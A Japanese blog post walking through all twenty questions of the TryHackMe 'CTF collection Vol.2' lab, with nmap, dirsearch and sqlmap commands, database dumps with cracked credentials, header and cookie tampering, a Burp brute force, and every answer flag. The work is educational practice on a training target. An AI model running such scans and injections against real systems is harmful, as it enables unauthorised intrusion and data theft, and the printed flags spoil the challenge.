0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

TryHackMe「CTF collection Vol.2」のWalkthroughです。

Task2

Q1.Easter 1

Hint.Check the robots

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.253.90 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 1b:c2:b6:2d:fb:32:cc:11:68:61:ab:31:5b:45:5c:f4 (DSA)
|   2048 8d:88:65:9d:31:ff:b4:62:f9:28:f2:7d:42:07:89:58 (RSA)
|_  256 40:2e:b0:ed:2a:5a:9d:83:6a:6e:59:31:db:09:4c:cb (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/VlNCcElFSWdTQ0JKSUVZZ1dTQm5JR1VnYVNCQ0lGUWdTU0JFSUVrZ1p5QldJR2tnUWlCNklFa2dSaUJuSUdjZ1RTQjVJRUlnVHlCSklFY2dkeUJuSUZjZ1V5QkJJSG9nU1NCRklHOGdaeUJpSUVNZ1FpQnJJRWtnUlNCWklHY2dUeUJUSUVJZ2NDQkpJRVlnYXlCbklGY2dReUJDSUU4Z1NTQkhJSGNnUFElM0QlM0Q=
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: 360 No Scope!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 5.9p1
80 http Apache httpd 2.2.22

80番ポートでWebサイトにアクセスできました。

home page.png

/robots.txtへアクセスすると文字列を得られました。

/robots.txt
User-agent: * (I don't think this is entirely true, DesKel just wanna to play himself)
Disallow: /VlNCcElFSWdTQ0JKSUVZZ1dTQm5JR1VnYVNCQ0lGUWdTU0JFSUVrZ1p5QldJR2tnUWlCNklFa2dSaUJuSUdjZ1RTQjVJRUlnVHlCSklFY2dkeUJuSUZjZ1V5QkJJSG9nU1NCRklHOGdaeUJpSUVNZ1FpQnJJRWtnUlNCWklHY2dUeUJUSUVJZ2NDQkpJRVlnYXlCbklGY2dReUJDSUU4Z1NTQkhJSGNnUFElM0QlM0Q=


45 61 73 74 65 72 20 31 3a 20 54 48 4d 7b 34 75 37 30 62 30 37 5f 72 30 6c 6c 5f 30 75 37 7d

45 61 73 74 65 72 20 ~を16進数デコードするとフラグを得られました。

$ echo "45 61 73 74 65 72 20 31 3a 20 54 48 4d 7b 34 75 37 30 62 30 37 5f 72 30 6c 6c 5f 30 75 37 7d" | xxd -r -p
Easter 1: THM{4u70b07_r0ll_0u7}

A.THM{4u70b07_r0ll_0u7}

Q2.Easter 2

Hint.Decode the base64 multiple times. Don't forget there are something being encoded.

Disallowの文字列を複数回base64でデコードするとDesKel_secret_baseという文字列を得られました。

base64 multiple decode.png

/DesKel_secret_baseにアクセスし、ソースコードを見るとフラグを得られました。

east2.png

A.THM{f4ll3n_b453}

Q3.Easter 3

Hint.Directory buster with common.txt might help.

ディレクトリの列挙を行います。

$ dirsearch -u http://10.10.253.90
[13:09:33] 200 -   38KB - /button
[13:10:02] 301 -  246B  - /login  ->  http://10.10.253.90/login/            
[13:10:02] 200 -  480B  - /login/                                           
[13:10:02] 200 -  480B  - /login/index
[13:10:24] 200 -  341B  - /robots.txt
[13:10:33] 200 -  248KB - /static

/loginのパスを見つけたのでアクセスし、ソースコードを見るとフラグを得られました。

east3.png

A.THM{y0u_c4n'7_533_m3}

Q4.Easter 4

Hint.time-based sqli

/loginsqlmapを実行するとTHM_f0und_m3データベースを発見しました。

$ sqlmap -u "http://10.10.221.183/login/" --data "username=name&password=pass&submit=submit" --batch --dbs

(省略)

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] THM_f0und_m3

データベースの中身を全て取得します。

$ sqlmap -u "http://10.10.221.183/login/" --data "username=name&password=pass&submit=submit" --batch --dbms mysql -D THM_f0und_m3 --dump

nothing_insideテーブルからフラグを得られました。

THM{1nj3c7_l1k3_4_b055}
Database: THM_f0und_m3
Table: nothing_inside
[1 entry]
+-------------------------+
| Easter_4                |
+-------------------------+
| THM{1nj3c7_l1k3_4_b055} |
+-------------------------+

A.THM{1nj3c7_l1k3_4_b055}

Q5.Easter 5

Hint.Another sqli

Q4で実行したsqlmapの結果から、ユーザー情報を得られました。

Database: THM_f0und_m3                                                                                         
Table: user
[2 entries]
+------------------------------------------+----------+
| password                                 | username |
+------------------------------------------+----------+
| 05f3672ba34409136aa71b8d00070d1b (cutie) | DesKel   |
| He is a nice guy, say hello for me       | Skidy    |
+------------------------------------------+----------+

Username: Deskel,Password: cutieでリクエストを送信するとフラグを得られました。

east5 flag.png

A.THM{wh47_d1d_17_c057_70_cr4ck_7h3_5ql}

Q6.Easter 6

Hint.Look out for the response header.

/へアクセスした際のレスポンスヘッダーからフラグを得られました。

east6 flag.png

A.THM{l37'5_p4r7y_h4rd}

Q7.Easter 7

Hint.Cookie is delicious

Cookievalue1に変更し、/へアクセスするとフラグを得られました。

east7 edit cookie.png

east7 flag.png

A.THM{w3lc0m3!_4nd_w3lc0m3}

Q8.Easter 8

Hint.Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Mobile/15E148 Safari/604.1

User-Agentをヒントの物に変更するとレスポンスでフラグを得られました。

east8 flag.png

A.THM{h3y_r1ch3r_wh3r3_15_my_k1dn3y}

Q9.Easter 9

Hint.Something is redirected too fast. You need to capture it.

/readyへアクセスし、ソースコードを見るとフラグを得られました。

east9 flag.png

A.THM{60nn4_60_f457}

Q10.Easter 10

Hint.Look at THM URL without https:// and use it as a referrer.

/free_sub/へリクエストヘッダーとしてReferer: tryhackme.comを追加すると、レスポンスでフラグを得られました。

east10.png

A.THM{50rry_dud3}

Q11.Easter 11

Hint.Temper the html

dinnerパラメータにeggを入れてPOSTリクエストを送信するとフラグを得られました。

east11 flag.png

A.THM{366y_b4k3y}

Q12.Easter 12

Hint.Fake js file

/jquery-9.1.2.jsを発見したのでアクセスするとstr1変数に定義されている文字列を発見しました。

east12 source code.png

16進数でデコードするとフラグを得られました。

$ echo "4561737465722031322069732054484d7b68316464336e5f6a355f66316c337d" | xxd -r -p
Easter 12 is THM{h1dd3n_j5_f1l3}

A.THM{h1dd3n_j5_f1l3}

Q13.Easter 13

インデックスページから得られた/ready/gone.phpへアクセスするとフラグを得られます。

east13 flag.png

A.THM{1_c4n'7_b3l13v3_17}

Q14.Easter 14

Hint.Embed image code

インデックスページのコメントアウトからimgタグを発見しました。

east14 strings.png

別途HTMLファイルに書き出すとフラグの画像が得られました。

east14 flag.png

A.THM{d1r3c7_3mb3d}

Q15.Easter 15

Hint.Try guest the alphabet and the hash code

ヒントの文字列51 89 77 93 126 14 93 10 に対してデコードなどを試しましたが、有効なものは見つかりませんでした。

文字をa,b,cなど一文字ずつ送信するとそれぞれのハッシュ値を得られたのでA~Z,a~z全パターンを試してテーブルを作ります。

文字のリストファイルを作りBurpでブルートフォースします。

string_list.txt
A
B
C
D
E
F
G
H
I
J
K

(省略)

east15 brute force.png

レスポンスを確認し、ヒントに対応する文字を調べるます。

51(G) 89(a) 77(m) 93(e) 126(O) 14(v) 93(e) 10(r)

GameOverという文字列を求めることが出来ました。
フォームで送信するとフラグを得られました。

east15 flag.png

A.THM{ju57_4_64m3}

Q16.Easter 16

Hint.Make all inputs into one form.

/game2buttonパラメータをすべて追加してリクエストを送ると、レスポンスでフラグを得られました。

east16 flag.png

文字列のリストファイルを作り、Burpでブルートフォースをします。

A.THM{73mp3r_7h3_h7ml}

Q17.Easter 17

Hint.bin -> dec -> hex -> ascii

インデックスページのコメントアウトから文字列を発見しました。

east17 script.png

ヒントの順番通りにデコードしてフラグを得られました。

east17 flag.png

A.THM{j5_j5_k3p_d3c0d3}

Q18.Easter 18

Hint.Request header. Format is egg:Yes

GETリクエストヘッダーにegg:Yes

east18 flag.png

A.THM{70ny_r0ll_7h3_366}

Q19.Easter 19

Hint.A thick dark line

small.pngwidth=2000,height=2が設定されており、画像がうまく表示されていないと分かります。

east19 line.png

/small.pngにアクセスし、画像を確認するとフラグを得られました。

east19 flag.png

A.THM{700_5m4ll_3yy}

Q20.Easter 20

Hint.You need to POST the data instead of GET. Burp suite or curl might help.

username=DesKel&password=heIsDumbをBodyデータに追加して/へPOSTリクエストを送信するとフラグを得られました。

east20.png

A.THM{17_w45_m3_4ll_4l0n6}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?